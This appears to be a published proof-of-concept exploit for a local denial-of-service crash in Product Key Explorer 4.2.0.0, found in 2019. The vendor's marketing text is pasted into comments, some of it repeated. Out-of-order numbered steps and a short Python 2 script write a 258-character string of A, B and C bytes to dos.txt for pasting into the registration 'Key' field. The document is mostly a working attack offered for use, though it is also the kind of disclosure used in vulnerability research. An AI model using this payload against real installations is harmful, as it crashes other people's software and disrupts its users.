# Exploit Title: Product Key Explorer 4.2.0.0 - 'Key' Denial of Service (POC) # Discovery by: SajjadBnd # Date: 2019-12-10 # Vendor Homepage: http://www.nsauditor.com # Software Link: http://www.nsauditor.com/downloads/productkeyexplorer_setup.exe # Tested Version: 4.2.0.0 # Vulnerability Type: Denial of Service (DoS) Local # Tested on OS: Windows 10 - Pro # [ About App ] # Find product keys for over +9000 most popular programs: Windows 8.1, Windows 8, Windows 7, Vista, # Windows 10, Microsoft Office, Adobe CS6, CS5, CS4 and CS3, Norton, Electronic Arts games, WinZip, Nero and more... # Visit "Features" page to see all supported software list of programs with which product key finder works. # Product Key Finder | Best Product Key Finder Software # The Best Product Key Find and Recovery Software # Product key Explorer recovers product keys for software installed on your # local and network computers, allows track the number of software licenses installed in your business. # Product Key Finder | Best Product Key Finder Software # The Best Product Key Find and Recovery Software # With Product Key Explorer you can recover lost product keys for all major software programs, prevent losing your investment and money! # Product Key Finder | Best Product Key Finder Software # The Best Product Key Find and Recovery Software # You can save product keys as Tab Delimited Txt File (.txt), Excel Workbook (.xls), CSV Comma Delimited (.csv), # Access Database (.mdb), SQLLite3 Database, Web Page (.html) or XML Data (.xml) file, Print or Copy to Clipboard. # [ POC ] # 1.Run the python script, it will create a new file "dos.txt" # 3.Run Product Key Explorer and click on "Register -> Enter Registration Code" # 2.Paste the content of dos.txt into the Field: 'Key' # 6.click 'ok' # 5.Crashed ;) #!/usr/bin/env python buffer = "\x41" * 100 buffer += "\x42" * 100 buffer += "\x43" * 58 try: f = open("dos.txt","w") print "[+] Creating %s bytes DOS payload.." %len(buffer) f.write(buffer) f.close() print "[+] File created!" except: print "File cannot be created"